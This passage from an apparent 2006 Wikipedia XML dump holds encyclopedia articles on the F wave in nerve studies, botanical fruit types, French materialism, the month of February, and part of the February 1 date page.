In a typical F wave study, a strong electrical stimulus is applied to the skin surface above the distal portion of a nerve so that the impulse travels both distally (towards the muscle fiber) and proximally (back to the [[motor neuron|motor neurons]] of the spinal cord). (These directions are also known as [[orthodromic]] and [[antidromic]], respectively.) When the ''orthodromic'' stimulus reaches the muscle fiber, it elicits a strong [[M wave]] indicative of [[muscle contraction]]. When the ''antidromic'' stimulus reaches the motor neuron [[cell body|cell bodies]], the impulse is reflected and travels back down the nerve towards the muscle. This reflected stimulus evokes the second, weaker ''F wave'' when it reaches the muscle.

== Properties ==

F wave properties include:

* ''amplitude'' ([[volt|&amp;micro;V]]) - F wave height
* ''duration'' ([[millisecond|ms]]) - length of F wave
* ''latency'' (ms) - period between F wave and initial stimulation

==See also==

* [[H reflex]]
* [[Electromyograph]] (EMG)

== References ==

* Weber, G.A. Nerve conduction studies and their clinical applications. Clin. Podiatr. Med. Surg. 1990;7(1):151-178.

[[Category:Neurophysiology]]</text>
    </revision>
  </page>
  <page>
    <title>Fruit</title>
    <id>10843</id>
    <revision>
      <id>41915227</id>
      <timestamp>2006-03-02T16:16:59Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/85.12.88.1|85.12.88.1]] ([[User talk:85.12.88.1|talk]]) to last version by El C</comment>
      <text xml:space="preserve">: ''This article is about botanic and culinary fruits. For the [[computer chess]] program, see [[Fruit (chess)|Fruit]].''
: ''For more links to types of fruits see [[list of fruits]].'' 
[[Image:Fruit Stall in Barcelona Market.jpg|thumb|right|350px|Fruit stall in [[Barcelona, Catalonia]].]]
In [[botany]], a ''' fruit''' is the [[ripen]]ed [[Ovary (plants)|ovary]]&amp;mdash;together with [[seed]]s&amp;mdash;of a [[flowering plant]].  In many species, the fruit incorporates the ripened ovary and surrounding tissues. Fruits are the means by which flowering plants disseminate seeds. Evolution has led plants to adopt certain basic mechanisms, seemingly without close regard to the tissues involved. No one terminology really fits the enormous variety that is found among plant fruits. Botanical terminology for fruits is inexact and will remain so. In [[cuisine]], when discussing fruit as [[food]], the term usually refers to just those [[plant]] fruits that are sweet and fleshy, examples of which include [[plum]], [[apple]] and [[orange (fruit)|orange]]. However, a great many common [[vegetable]]s, as well as nuts and [[cereal|grain]]s, are the fruit of the plant species they come from.  

The term '''false fruit''' (pseudocarp, [[accessory fruit]]) is sometimes applied to a fruit like the [[fig]] (a ''multiple-accessory fruit''; see below) or to a plant structure that resembles a fruit but is not derived from a flower or flowers. Some [[gymnosperm]]s, such as [[Taxaceae|yew]], have fleshy [[Aril|aril]]s that resemble fruits and some [[juniper]]s have ''berry-like'', fleshy cones.

With most fruits [[pollination]] is a vital part of fruit culture, and the lack of knowledge of [[pollinator]]s and [[pollenizer]]s can contribute to poor crops or poor quality crops. In a few species, the fruit may develop in the absence of pollination/fertilization, a process known as '''''[[parthenocarpy]]'''''. Such fruits are seedless. A plant that does not produce fruit is known as '''''acarpous''''', meaning essentially &quot;without fruit&quot;.

== Botanic fruits and culinary fruits ==
[[Image:Fruitandveg.png|thumb|300px|Venn diagram representing the relationship between fruits and vegetables]]
Many foods are botanically fruits, but are treated as vegetables in [[cooking]]. These include [[cucurbitaceae|cucurbit]]s (e.g., [[Squash (fruit)|squash]] and [[pumpkin]]), [[maize]], [[tomato]], [[cucumber]], [[aubergine]] (eggplant), and sweet [[bell pepper|pepper]], along with [[nut]]s, and some [[spice]]s, such as [[allspice]], [[nutmeg]] and [[chiles]].

Rarely, culinary &quot;fruits&quot; are not fruits in the botanical sense. For example, [[rhubarb]] may be considered a fruit, though only the astringent stalk or [[leaf|petiole]] is edible.  In the commercial world, [[European Union]] rules define [[carrot]] as a fruit for the purposes of measuring the proportion of &quot;fruit&quot; contained in carrot jam.

== Fruit development ==

After an '''''ovule''''' is [[fertilize]]d in a process known as pollination, the ovary begins to expand. The [[petal]]s of the [[flower]] fall off and the ''[[ovule]]'' develops into a [[seed]]. The ovary eventually comes to form, along with other parts of the flower in many cases, a structure surrounding the seed or seeds that is the fruit. Fruit development continues until the seeds have matured. With some multiseeded fruits the extent of development of the flesh of the fruit is proportional to the number of fertilized ovules. 

The wall of the fruit, developed from the ovary wall of the flower, is called the '''''pericarp'''''. The ''pericarp'' is often differentiated into two or three distinct layers called the '''''exocarp''''' (outer layer - also called epicarp), '''''mesocarp''''' (middle layer), and '''''endocarp''''' (inner layer). In some fruits, especially simple fruits derived from an [[Ovary (plants)#Inferior ovary|inferior ovary]], other parts of the flower (such as the floral tube, including the [[petal]]s, [[sepal]]s, and [[stamen]]s), fuse with the ovary and [[ripen]] with it. When such other floral parts are a significant part of the fruit, it is called an '''''[[accessory fruit]]'''''. Since other parts of the flower may contribute to the structure of the fruit, it is important to study flower structure to understand how a particular fruit forms.  

Fruits are so varied in form and development, that it is difficult to devise a classification scheme that includes all known fruits. It will also be seen that many common terms for seeds and fruit are incorrectly applied, a fact that complicates understanding of the terminology. ''Seeds are ripened ovules; fruits are the ripened ovularies or carpels that contain the seeds''.  To these two basic definitions can be added the clarification that in botanical terminology, a '''[[nut]]''' is a type of fruit and not another term for seed. 

There are three basic types of fruits: 
# Simple fruit
# [[Aggregate fruit]]
# [[Multiple fruit]]

===Simple fruit===

'''Simple''' fruits can be either dry or fleshy and result from the ripening of a simple or compound ovary with only one [[Carpel|pistil]]. Dry fruits may be either '''[[dehiscent]]''' (opening to discharge seeds), or '''indehiscent''' (not opening to discharge seeds). Types of '''dry''', simple fruits (with examples) are:
*[[achene]] - ([[buttercup]])
*[[Capsule (fruit)|capsule]] - ([[Brazil nut]])
*[[caryopsis]] - ([[wheat]])
*[[drupe|fibrous drupe]] - ([[coconut]], [[walnut]])
*[[follicle]] - ([[milkweed]])
*[[legume]] - ([[pea]], [[bean]], [[peanut]])
*[[loment]]
*[[Nut (fruit)|nut]] - ([[hazelnut]], [[beech]], oak [[acorn]])
*[[samara (fruit)|samara]] - ([[elm]], [[Ash tree|ash]], [[maple]] key)
*[[schizocarp]] - ([[carrot]])
*[[silique]] - ([[radish]])
*[[utricle]]

Fruits in which part or all of the ''pericarp'' (fruit wall) is fleshy at maturity are ''simple fleshy fruits''.  Types of '''fleshy''', simple fruits (with examples) are:
*[[berry]] - ([[tomato]], [[avocado]])
*Stone fruit [[drupe]]  ([[plum]], [[cherry]], [[peach]], [[olive]])
*[[false berry]] - accessory fruits ([[banana]], [[cranberry]])
*[[pome]] - accessory fruits ([[apple]], [[pear]], [[rosehip]])

===Aggregate fruit===
[[Image:DewFlower.jpg|left|thumb|A [[dewberry]] flower. Note the multiple [[pistil]]s, each of which will produce a druplet. The result will be a blackberry-like [[aggregate fruit]].]]

An '''aggregate''' fruit, or ''etaerio'', develops from a flower with numerous simple pistils. An example is the [[raspberry]], whose simple fruits are termed '''''drupelets''''' because each is like a small '''[[drupe]]''' attached to the receptacle. In some [[bramble]] fruits (such as  [[blackberry]]) the receptacle is elongate and part of the ripe fruit, making the blackberry an ''aggregate-accessory'' fruit. The [[strawberry]] is also an aggregate-accessory fruit, only one in which the seeds are contained in '''[[achene]]s'''. In all these examples, the fruit develops from a single flower with numerous pistils.

{{fruits}}

===Multiple fruit===

A '''multiple''' fruit is one formed from a cluster of flowers (called an ''[[inflorescence]]''). Each flower produces a fruit, but these mature into a single mass. Examples are the [[pineapple]], edible [[fig]], [[mulberry]], [[osage-orange]], and [[breadfruit]].

[[image:Noni_fruit_dev.jpg|thumb|232px|In some plants, such as this [[noni]], flowers are produced regularly along the stem and it is possible to see together examples of flowering, fruit development, and fruit ripening]]

In the photograph on the right, stages of flowering and fruit development in the [[noni]] or Indian mulberry (''Morinda citrifolia'') can be observed on a single branch. First an inflorescence of white flowers called a '''head''' is produced. After [[Fertilization#Fertilisation_in_plants|fertilization]], each flower develops into a '''drupe''', and as the drupes expand, they ''connate'' (merge) into a ''multiple fleshy fruit'' called a '''''syncarp'''''.

== Seedless Fruits ==

Seedlessness is an important feature of some fruits of commerce. Commercial [[cultivars]] of [[bananas]] and [[pineapples]] are seedless.  Some cultivars of [[citrus]] fruits (especially navel [[Orange (fruit)|orange]]s and [[mandarin orange]]s), table [[grapes]], [[grapefruit]], and [[watermelon]]s are valued for their seedlessness. In some species, seedlessness is the result of '''''[[parthenocarpy]]''''', where fruits set without fertilization. Parthenocarpic fruit set may or may not require pollination. Most seedless citrus fruits require a pollination stimulus; bananas and pineapples do not. Seedlessness in table grapes results from the abortion of the [[embryo]]nic plant that is produced by fertilization, a phenomenon known as '''''[[stenospermocarpy]]''''' which requires normal pollination and fertilization.

== Seed dissemination ==

Variations in fruit structures largely relate to the [[Biological dispersal|mode of dispersal]] of the seeds they contain.

Some fruits have coats covered with spikes or hooked burrs, either to prevent themselves from being eaten by [[animal]]s or to stick to the [[hair]]s of animals, using them as dispersal agents. Other fruits are elongated and flattened out naturally and so become thin, like [[wing]]s or [[helicopter]] blades. This is an [[evolution]]ary mechanism to increase dispersal [[distance]] away from the parent.

The sweet flesh of many fruits is &quot;deliberately&quot; appealing to animals, so that the seeds held within are &quot;unwittingly&quot; carried away and deposited at a distance from the parent. Likewise, the nutritious, oily kernels of [[Nut_(fruit)|nuts]] are appealing to rodents (such as [[squirrel]]s) who [[hoarding|hoard]] them in the soil in order to avoid starving during the winter, thus giving those seeds that remain uneaten the chance to [[Germination|germinate]] and grow into a new plant away from their parent.

== Uses ==
Many fruits, including fleshy fruits like [[apple]]s and [[mango]]s, and [[nut (fruit)|nut]]s like [[walnut]], are commercially valuable as [[human]] food, eaten both fresh and made into [[jam]]s, [[marmalade]] and other [[food preservation|preserve]]s for future consumption. Fruits are also found commonly in such manufactured foods as [[cookie]]s, [[muffin]]s, [[yoghurt]], [[ice cream]], [[cake]]s, and many more.

==References==
{{unsourced}}

==See also==
{{commonscat|Fruit}}
{{cookbook}}
*[[List of fruits]]
*[[Fruit trees]]
*[[Tutti frutti]]
*[[Fruitarianism]]

[[Category:Fruit| types00]]
[[Category:Plant morphology]]
[[Category:Pollination]]

[[bg:&amp;amp;#1055;&amp;amp;#1083;&amp;amp;#1086;&amp;amp;#1076;]]
[[cs:ovoce]]
[[cy:Ffrwyth]]
[[da:Frugt]]
[[de:Frucht (Botanik)]] 
[[eo:frukto]]
[[es:fruta]]
[[fa:&amp;amp;#1605;&amp;amp;#1740;&amp;amp;#1608;&amp;amp;#1607;]]
[[fr:Fruit]]
[[ko:열매]]
[[he:&amp;amp;#1508;&amp;amp;#1512;&amp;amp;#1497;]]
[[io:frukto]]
[[it:Frutto]]
[[ja:&amp;amp;#26524;&amp;amp;#29289;]]
[[jv:Woh]]
[[lt:Vaisius]]
[[nl:Vrucht (biologie)]]
[[nn:frukt]]
[[no:Frukt]]
[[pl:Owoc]]
[[pt:Fruto]]
[[ro:fruct]]
[[ru:Плод (фрукт)]]
[[sr:Воће]]
[[simple:Fruit]]
[[fi:Hedelmä]]
[[sl:Plod]]
[[sv:Frukt]]
[[tr:meyve]]
[[zh:&amp;amp;#26524;&amp;amp;#23454;]]
[[zh-min-nan:Kóe-chí]]</text>
    </revision>
  </page>
  <page>
    <title>French materialism</title>
    <id>10844</id>
    <revision>
      <id>36618356</id>
      <timestamp>2006-01-25T08:34:07Z</timestamp>
      <contributor>
        <username>Weregerbil</username>
        <id>700735</id>
      </contributor>
      <comment>rv wikilinks. Are you planning to write articles on those?</comment>
      <text xml:space="preserve">'''French materialism''' combined the [[associationist psychology]] and [[Empiricism]] of [[John Locke]] with the [[Totality]] of [[Isaac Newton]] to create a complex world view in diametrical opposition to the [[René Descartes|Cartesian]] [[dualist]] world view. 
''Man a Machine'' by [[La Mettrie]] led the [[materialist]] charge.  [[Helvetius]] brought about the [[materialist]] moral realm by introducing his [[rational ethics]]. 
[[Denis Diderot|Diderot]] proved the [[dynamic philosophé]], presenting the world in constant flux and nature as creative.  
Combined with the new order of facts of [[Baron d'Holbach]], the popularization of progress as a natural law by the [[Marquis de Condorcet]], and the [[Physiocrats]] belief in the Laws of Economy, these thinkers defined the French Materialist movement.   

With ''Man a Machine'', La Mettrie opposed [[René Descartes|Descartes]] on all fronts and asserted a combination of the mechanics of a single substance and matter in motion from [[Baruch Spinoza|Spinoza]] and Isaac Newton, with self love as the prevailing law and the quantitative difference that separates man from animal.  
He agreed with the idea of Locke that humans form ideas from associating sensations and believed that we could grasp our own cognition but that we did not know how we grasped it.  
To La Mettrie, the body controlled the mind - a mere effect of the body's working.  La Mettrie's [[tediology]] postulated that the world has a reason for being and is going for some unknown goal and that man exists simply to exist without knowing the real reason.  
However, La Mettrie left many questions unanswered.    

[[Helvetius]] introduced a higher [[rationality]] by which our competitive nature works for the higher good of [[society]].  He stated that the hidden hand of nature gave it a moral purpose, while our narrow view creates the war of all against all ([[Bellum omnium contra omnes]]).  His idea of progress as the key to a better world was not to create something new, but to eliminate the errors of our world.  Helvetius created his [[Rational Ethics]] (later dubbed [[Utilitarianism]]) which stated that there are only two motives: pleasure and pain.  He postulated a society where self-love pushes us to maximize pleasure and minimize pain.  He stressed that this society should only exist on the basis of the greatest good for the greatest number, this being best achieved by universal education and an enlightened legislation.  

[[Denis Diderot|Diderot]]'s dynamic nature told him that things do not just change; things change for the better.  This novelist, art critic and editor of the most famous product of [[the Enlightenment]], [[Encyclopédie|The Great Encyclopedia]], saw nature as a totality of creative changes.  Each of these changes reverberates through all of nature to maintain a constant newness.  This view agreed with Diderot's idea of progress that concurred with Helvetius elimination of errors, but proposed that we should also expand and create new institutions. Diderot's [[psychology]] differed slightly from [[John Locke|Locke]]s as he saw the mind as active, forming general ideas then using those ideas to create more knowledge and ideas.        

The Baron d'Holbach's [[System of Nature]] applied the [[Mechanistic Materialism]] to the whole of nature and proposed that [[consciousness]] has the ability to produce a new order of reality broken down into three subsets; brute facts, social facts, and mental facts. d'Holbach thought it to be human nature to understand the world and act upon that understanding, such actions satisfied d'Holbach's notion of progress. 

The Marquis de Concorcet's [[Sketch of Intellectual Progress]] popularized progress as a natural law and sketched the key to such progress to be the advancement of [[science]] and its application to [[government]] and [[social order]].  The first philosophé to call for [[gender equity]], Condorcet also stated that [[history]] was moving towards a goal which would be the outcome of the application of [[reason]], a sort of scientific [[utopia]].    

Finally, the Physiocrats seemed to set the class boundaries with their model of the [[France|French]] [[Economics|economy]].  To them, the problems of the [[Economics|economy]] lay within the parasitic, landowning [[aristocracy]] that seemed to serve no function but to hold the land.  They thought the source of wealth flowed from the productive class, made up by the peasants, which they stated should be allowed to operate unhampered.  The manufacturing class supported society with their goods.  The [[Physiocrats]] coined the term LaissezFaire meaning to allow the [[Economics|economy]] to operate according to its own laws without alterations.  They also first used [[capitalist]], as they wanted to transform the countryside from the [[seigneurial]] to the [[entrepreneurial]].

[[Category:Philosophical movements]]</text>
    </revision>
  </page>
  <page>
    <title>February</title>
    <id>10845</id>
    <revision>
      <id>42000762</id>
      <timestamp>2006-03-03T03:32:59Z</timestamp>
      <contributor>
        <username>Anthonyken0109</username>
        <id>906087</id>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{FebruaryCalendar}}
{{wiktionary}}
'''February''' is the [[second (disambiguation)|second]] [[month]] of the [[year]] in the [[Gregorian Calendar]].  It is the shortest Gregorian month and the only month with the length of 28 or 29 days.  The month has 29 days in [[leap years]], when the year number is divisible by four (except for years that are divisible by 100 and not by 400). In other years the month has 28 days. Leap year birthdays are usually held on the 28th when it's not leap year.

February begins, astronomically speaking, with the sun in the constellation of [[Capricornus]] and ends with the sun in the constellation of [[Aquarius]].
Astrologically speaking, February begins with the sun in the sign of [[Aquarius]] and ends in the sign of [[Pisces]].

February was probably named for the [[Roman Mythology|Roman god]] [[Februus]], the god of purification or the [[Roman Mythology|Roman god]] [[Juno Februata]] the goddess of passion. [[January]] and February were the last two months to be added to the Roman calendar, since the Romans originally considered [[winter]] a monthless period. This change was made by [[Numa Pompilius]] about 700 BC in order to bring the calendar in line with a standard lunar year. Numa's Februarius contained 29 days (30 in a leap year). [[Augustus]] is alleged to have removed one day from February and added it to [[August]], (renamed from [[Sextilis]] to honor himself), so that [[Julius Caesar]]'s [[July]] would not contain more days.  However there is little historical evidence to support this claim.

[[Image:Les Très Riches Heures du duc de Berry f%C3%A9vrier.jpg|right|thumb|February, from the ''Très riches heures du duc de Berry'']]
February was nominally the last month of the Roman calendar, as the year originally began in [[March]]. At certain intervals Roman priests inserted an intercalary month, [[Mercedonius]], after February to realign the year with the [[season|seasons]].

Historical names for February include the [[Anglo-Saxon]] terms Solmoneth (mud month) and Kale-monath (named for cabbage) as well as [[Charlemagne]]'s designation Hornung. In [[Japanese calendar|old Japanese calendar]], the month is called ''Kisaragi'' (&amp;#22914;&amp;#26376;, &amp;#32121;&amp;#26356;&amp;#26376; or &amp;#34915;&amp;#26356;&amp;#26376;). It is sometimes also called ''Mumetsuki'' (&amp;#26757;&amp;#35211;&amp;#26376;) or ''Konometsuki'' (&amp;#26408;&amp;#30446;&amp;#26376;). In [[Finnish language|Finnish]], the month is called ''helmikuu'', meaning &quot;month of the pearl&quot;.

February is recognized as [[Black History Month]] in the United States and Canada.

&quot;February&quot; is pronounced without the first r, as &quot;Febuary&quot;, by many speakers. This is probably [[elision]], or an [[analogy|analogical]] change influenced by &quot;January&quot;.

==Events in February==
*[[Black History Month]]
*[[Groundhog Day]] ([[February 2]])
*[[Mardi Gras]] (Sometime between [[February 3]] to [[March 9]] in non-leap years or [[February 4]] to [[March 9]] in leap years)
*[[Ash Wednesday]] (Sometime between [[February 4]] to [[March 10]])
*The [[Super Bowl]] 
*[[NFL]] [[Pro Bowl]]
*[[NBA All-Star game]]
*[[Daytona 500]]
*[[Westminster Dog Show]]
*[[St. Valentine's Day]] ([[February 14]])
*[[Presidents' Day]] (3rd Monday of February), or Washington's Birthday ([[February 20]])
*Lincoln's Birthday ([[February 12]])
*Darwin Day celebration
*[[Constitution Day]] ([[Mexico]]) ([[February 5]])
*Carnaval (Celebrated before [[Lent]])
*American Heart Month
*[[Library]] Lovers Month
*National Condom Month
*National Wildbird Feeding Month
*The Great Backyard Bird Count
*National Hot Breakfast Month
*[[Imbolc]] [[February 2]]
*National Engineers Week (last full week of February)

==Trivia==
*February begins on the same day of the week as [[March]] and [[November]] in a [[common year]], and on the same day of the week as          [[August]] in a [[leap year]].
*On a few occasions in history, February has had [[February 30|30 days]].
*February in the [[Northern Hemisphere]] is the seasonal equivalent to [[August]] in the [[Southern Hemisphere]] and vise versa.

==See also==
*[[Historical anniversaries]]

==External links==
*[http://www.straightdope.com/classics/a2_160.html The Straight Dope: How come February has only 28 days?]

{{months}}


[[Category:Months]]

[[ilo:Febrero]]

[[af:Februarie]]
[[ang:Solmōnaþ]]
[[ar:فبراير]]
[[an:Frebero]]
[[ast:Febreru]]
[[bg:Февруари]]
[[be:Люты]]
[[bs:Februar]]
[[br:C'hwevrer]]
[[ca:Febrer]]
[[ceb:Pebrero]]
[[cv:Нарăс]]
[[cs:Únor]]
[[cy:Chwefror]]
[[da:Februar]]
[[de:Februar]]
[[et:Veebruar]]
[[el:Φεβρουάριος]]
[[es:Febrero]]
[[eo:Februaro]]
[[eu:Otsail]]
[[fa:فوریه]]
[[fo:Februar]]
[[fr:Février]]
[[fy:Febrewaris]]
[[fur:Fevrâr]]
[[ga:Feabhra]]
[[gl:Febreiro]]
[[ko:2월]]
[[hr:Veljača]]
[[io:Februaro]]
[[id:Februari]]
[[ia:Februario]]
[[ie:Februar]]
[[is:Febrúar]]
[[it:Febbraio]]
[[he:פברואר]]
[[jv:Februari]]
[[kn:ಫೆಬ್ರವರಿ]]
[[ka:თებერვალი]]
[[csb:Gromicznik]]
[[kw:Mys Whevrer]]
[[ku:Reşemî]]
[[la:Februarius]]
[[lv:Februāris]]
[[lt:Vasaris]]
[[lb:Februar]]
[[li:Fibberwarie]]
[[hu:Február]]
[[mi:Hui-tanguru]]
[[mr:फेब्रुवारी]]
[[ms:Februari]]
[[nap:Frevaro]]
[[nl:Februari]]
[[ja:2月]]
[[no:Februar]]
[[nn:Februar]]
[[oc:Febrièr]]
[[pl:Luty]]
[[pt:Fevereiro]]
[[ro:Februarie]]
[[ru:Февраль]]
[[se:Guovvamánnu]]
[[sc:Frearzu]]
[[sco:Februar]]
[[sq:Shkurti]]
[[scn:Frivaru]]
[[simple:February]]
[[sk:Február]]
[[sl:Februar]]
[[sr:Фебруар]]
[[su:Pébruari]]
[[fi:Helmikuu]]
[[sv:Februari]]
[[tl:Pebrero]]
[[ta:பிப்ரவரி]]
[[tt:Febräl]]
[[th:กุมภาพันธ์]]
[[vi:Tháng hai]]
[[tpi:Februeri]]
[[tr:Şubat]]
[[uk:Лютий]]
[[ur:فروری]]
[[vo:Febul]]
[[wa:Fevrî]]
[[war:Pebrero]]
[[zh:2月]]
[[pam:Pebreru]]</text>
    </revision>
  </page>
  <page>
    <title>February 1</title>
    <id>10846</id>
    <revision>
      <id>42090263</id>
      <timestamp>2006-03-03T19:37:30Z</timestamp>
      <contributor>
        <username>Shsilver</username>
        <id>637</id>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=1}}
|}
[[February 1]] is the 32nd day of the year in the [[Gregorian Calendar]].  There are 333 days remaining, (334 in [[leap year]]s).

==Events==
*[[1411]] - [[Peace of Toruń 1411]] signed in [[Toruń]], [[Poland]]
*[[1662]] - The [[China|Chinese]] general [[Koxinga]] seizes the island of [[Taiwan]] after a nine-month siege.
*[[1713]] - The ''[[Kalabalik]]'' or ''Tumult in [[Tighina|Bendery]]'' results from the [[Ottoman Empire|Ottoman]] [[sultan]]'s order that his unwelcome guest, King [[Charles XII of Sweden]], be seized.
*[[1788]] - [[Isaac Briggs]] and [[William Longstreet]] patent the [[steamboat]]. 
*[[1790]] - In [[New York City]] the [[Supreme Court of the United States]] convenes for the first time. 
*[[1793]] - [[France]] declares war on the [[United Kingdom]] and the [[Netherlands]].
*[[1796]] - The capital of [[Upper Canada]] is moved from [[Niagara, Ontario|Newark]] to [[Toronto, Ontario|York]].
*[[1814]] - [[Mayon Volcano]], in the [[Philippines]], erupts, killing around 1,200 people; most devastating eruption of [[Mayon Volcano]].
*[[1856]] - [[Auburn University]] is chartered as the [[East Alabama Male College]]. 
*[[1861]] - [[American Civil War]]: [[Texas]] secedes from the [[United States]]. 
*[[1862]] - [[Julia Ward Howe]]'s &quot;[[Battle Hymn of the Republic]]&quot; is published for the first time in the ''[[Atlantic Monthly]]''.
*[[1880]] - The first edition of theatrical [[newspaper]] ''[[The Stage]]'' is published.
*[[1884]] - Edition one of the ''[[Oxford English Dictionary]]'' is published. 
*[[1893]] - [[Thomas A. Edison]] finishes construction of the first [[film|motion picture]] studio, the [[Edison's Black Maria|Black Maria]] ([[West Orange, New Jersey]]). 
*[[1896]] - The opera ''[[La bohème]]'' premieres ([[Turin]]).
*[[1908]] - King [[Carlos I of Portugal]] and his son, [[Prince]] [[Luís Filipe, Duke of Braganza|Luis Filipe]] are killed in [[Terreiro do Paco]], [[Lisbon]].
*[[1913]] - [[New York City]]'s [[Grand Central Terminal]] opens as the world's largest [[train station]].
*[[1918]] - [[Russia]] adopts the [[Gregorian Calendar]].
*[[1920]] - The [[Royal Canadian Mounted Police]] begin operations. 
*[[1924]] - [[United Kingdom]] recognizes [[Soviet Union|USSR]].
*[[1929]] - Frenchman [[Charles Rigoulet]] is the first [[weightlifting|weightlifter]] to lift over 400 pounds (181 kg) in the &quot;clean and jerk&quot; method.
*[[1943]] - [[World War II]]: [[Vidkun Quisling]] is appointed [[List of Prime Ministers of Norway|Premier of Norway]] by the [[Nazi]] occupiers.
*[[1946]] - [[Trygve Lie]] of [[Norway]] is picked to be the first [[United Nations Secretary General]].
*[[1958]] - Merger of [[Egypt]] and [[Syria]] to form the [[United Arab Republic]], which lasted until [[1961]].
*[[1960]] - Four black students stage a [[sit-in]] at a lunch counter in [[Greensboro, North Carolina]].
*[[1965]] - [[Churchill River (Atlantic)|Churchill River]], [[Newfoundland]] - Hamilton River in Labrador renamed Churchill River in honour of [[Winston Churchill]].
*[[1968]] - [[Vietnam War]]: [[Viet Cong]] officer [[Nguyen Van Lem]] is executed by [[Nguyen Ngoc Loan]] a [[South Vietnam]]ese [[National Police Chief]]. The execution was videotaped and photographed by [[Eddie Adams]] and helped sway public opinion [[anti-war|against the war]]. 
*1968- Official [[unification]] of the three former military services of [[Canada]], the [[Royal Canadian Navy]], the [[Canadian Army]] and the [[Royal Canadian Air Force]] became the united [[Canadian Armed Forces]]. 
*1968- Merger of the historic [[New York Central Railroad]] and [[Pennsylvania Railroad]] to form ill-fated [[Penn Central Transportation]].
*[[1974]] - In [[São Paulo]], [[Brazil]], a fire in a 25-story office building kills 189 and injures 293. 
*1974 - [[Kuala Lumpur]] declared a [[Federal Territory]].
*[[1978]] - Director [[Roman Polanski]] skips [[bail]] and flees to [[France]] after pleading guilty to charges of engaging in sex with a 13-year-old girl.
*[[1979]] - Convicted bank robber [[Patty Hearst]] is released from prison after her sentence was commuted by [[President of the United States|President]] [[Jimmy Carter]]. 
*1979 - [[Ayatollah Khomeini]] is welcomed back into [[Tehran]], [[Iran]] after nearly 15 years of exile.
*[[1981]] - [[Trevor Chappell]] bowls his infamous [[Underarm bowling|&quot;Underarm Ball&quot;]] to [[Brian McKechnie (cricketer)|Brian McKechnie]] to prevent [[New Zealand cricket team|New Zealand]] scoring a 6, and tying the [[ODI]], on the last ball of the third match in the final of the [[Benson &amp; Hedges]] [[World Series Cup]]. It directly led to the banning of underarm bowling by the [[International Cricket Council]] as not within the spirit of the game.
*[[1982]] - [[Senegal]] and [[The Gambia|Gambia]] form a loose confederation known as [[Senegambia]].
*[[1989]] - The [[Western Australia|Western Australian]] towns of Kalgoorlie and Boulder amalgamate to form the [[Kalgoorlie, Western Australia|City of Kalgoorlie-Boulder]].
*[[1992]] - The [[Chief Judicial Magistrate]] of [[Bhopal]] court declares [[Warren Anderson]], ex-[[CEO]] of [[Union Carbide]], a fugitive under [[India]]n law for failing to appear in the [[Bhopal Disaster]] case.
*[[1994]] - In [[Portland, Oregon]] [[Tonya Harding]]'s ex-husband [[Jeff Gillooly]] pleads guilty for his role in attacking figure skater [[Nancy Kerrigan]]. 
*[[1995]] - [[Manic Street Preachers]] lyricist [[Richey James Edwards]] goes missing from the [[Embassy Hotel]] in [[London, UK]].
*[[1996]] - [[Communications Decency Act]] is passed by the [[Congress of the United States|U.S. Congress]].
*[[1999]] - [[North Dakota Public Radio]] is launched.
*[[2003]] - [[Space Shuttle Columbia]] [[Space Shuttle Columbia disaster|disintegrates]] over [[Texas]] upon reentry killing all seven [[astronaut]]s onboard.
*[[2004]] - At least 244 people trampled to death in a stampede at the [[Hajj]] [[pilgrimage]] in [[Saudi Arabia]].
*2004 - [[Janet Jackson]] exposes her [[breast]] on [[United States|American]] [[television]] during the half-time show of the [[Super Bowl]].
*[[2005]] - [[Nepal]] King [[Gyanendra]] excercised [[Coup d'état]] to capture the democracy becoming [[Chairman]] of the [[Councils of ministers]].

==Births==
*[[1261]] - [[Walter de Stapledon]], English bishop (d. [[1326]])
*[[1462]] - [[Johannes Trithemius]], German cryptographer (d. [[1516]])
*[[1552]] - [[Edward Coke]], English colonial entrepreneur and jurist (d. [[1634]])
*[[1635]] - [[Marquard Gude]], German archaeologist (d. [[1689]])
*[[1690]] - [[Francesco Maria Veracini]], Italian composer (d. [[1768]])
*[[1761]] - [[Christian Hendrik Persoon]], South African mycologist (d. [[1836]])
*[[1844]] - [[G. Stanley Hall]], American psychologist (d. [[1844]])
*[[1859]] - [[Victor Herbert]], Irish composer (d. [[1924]])
*[[1874]] - [[Hugo von Hofmannsthal]], Austrian writer (d. [[1929]])
*[[1882]] - [[Louis Stephen St. Laurent]], twelfth [[Prime Minister of Canada]] (d. [[1973]])
*[[1884]] - [[Yevgeny Zamyatin]], Russian writer (d. [[1937]])
*[[1887]] - [[Charles Nordhoff]], English-born author (d. [[1947]])
*[[1894]] - [[John Ford (film director)|John Ford]], American director and producer (d. [[1973]])
*1894 - [[James P. Johnson]], American pianist and composer (d. [[1955]])
*[[1901]] - [[Clark Gable]], American actor (d. [[1960]])
*[[1902]] - [[Langston Hughes]] American writer (d.  [[1967]])
*[[1904]] - [[S. J. Perelman]], American humorist and author (d. [[1979]])
*[[1905]] - [[Emilio G. Segrè]], Italian physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1989]])
*[[1906]] - [[Hildegarde]], American actress and singer (d. [[2005]])
*[[1907]] - [[Guenter Eich|Günter Eich]], German lyricist (d. [[1972]])
*[[1908]] - [[George Pál]], Hungarian-born director and producer (d. [[1980]])
*[[1909]] - [[George Beverly Shea]], Canadian singer
*[[1915]] - [[Stanley Matthews|Sir Stanley Matthews]], English football player (d. [[2000]])
*[[1918]] - Dame [[Muriel Spark]], Scottish author
*[[1922]] - [[Renata Tebaldi]], Italian soprano (d. [[2004]])
*[[1931]] - [[Boris Yeltsin]], [[President of Russia]]
*[[1936]] - [[Azie Taylor Morton]], U.S. Treasurer (d. [[2003]])
*[[1937]] - [[Don Everly]], American musician ([[Everly Brothers]])
*1937 - [[Garrett Morris]], American comedian
*[[1938]] - [[Sherman Hemsley]], American comedian and actor
*[[1940]] - [[Bibi Besch]], Austrian-American actress (d. [[1996]])
*[[1941]] - [[Karl Dall]], [[Germany|German]] [[television]] [[moderator]].
*[[1942]] - [[Terry Jones]], Welsh actor and writer
*[[1947]] - [[Jessica Savitch]], American journalist (d. [[1983]])
*[[1948]] - [[Rick James]], American musician and composer (d. [[2004]])
*1948 - [[Elisabeth Sladen]], British actress
